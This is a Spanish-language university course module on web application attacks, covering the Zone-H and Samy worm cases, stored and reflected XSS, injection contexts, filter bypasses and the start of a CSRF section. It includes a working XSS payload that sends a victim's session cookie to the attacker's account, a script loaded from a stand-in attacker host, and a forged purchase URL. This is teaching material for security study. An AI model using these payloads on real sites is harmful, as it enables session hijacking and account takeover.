El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados
El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban
Samy Worm y MySpace
El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm
Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace
El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil
En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores
CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web
Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo
Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una
vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web
a pesar de la opinioacuten de aquellos que no las consideran como tal
Hacker Safe
En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios
Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante
11 Cross site scripting (XSS)
El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-
lizando en este moacutedulo asiacute que es fundamental entender correctamente los
conceptos que se explican a continuacioacuten
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
